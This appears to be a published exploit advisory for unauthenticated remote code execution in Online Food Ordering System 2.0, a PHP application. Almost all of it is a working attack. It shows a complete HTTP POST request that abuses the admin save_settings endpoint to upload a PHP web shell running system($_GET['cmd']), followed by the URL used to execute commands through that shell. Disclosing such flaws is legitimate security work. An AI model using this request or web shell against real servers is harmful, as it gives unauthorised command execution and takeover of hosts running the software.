Online Food Ordering System 2.0 Shell Upload

`# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 01/10/2023  
# Exploit Author: Hakan Sonay  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Windows 10 / XAMPP  
  
  
############## Unauthenticated File Upload Request ##############  
  
  
POST /fos/admin/ajax.php?action=save_settings HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------19276025152284567381240485635  
Content-Length: 831  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/index.php?page=site_settings  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="name"  
  
Online Food Ordering System V2  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="email"  
  
[email protected]  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="contact"  
  
+6948 8542 623  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="about"  
  
<p>shell command:</p><p>/assets/img/<file_name>.php?cmd=whoami</p>  
-----------------------------19276025152284567381240485635  
Content-Disposition: form-data; name="img"; filename="rev_shell.php"  
Content-Type: text/php  
  
<?php   
echo system($_GET['cmd']);  
?>  
  
  
  
-----------------------------19276025152284567381240485635--  
  
  
############## Command Execution Request ##############  
  
http://localhost/fos/assets/img/****rev_shell.php?cmd=[Payload]  
`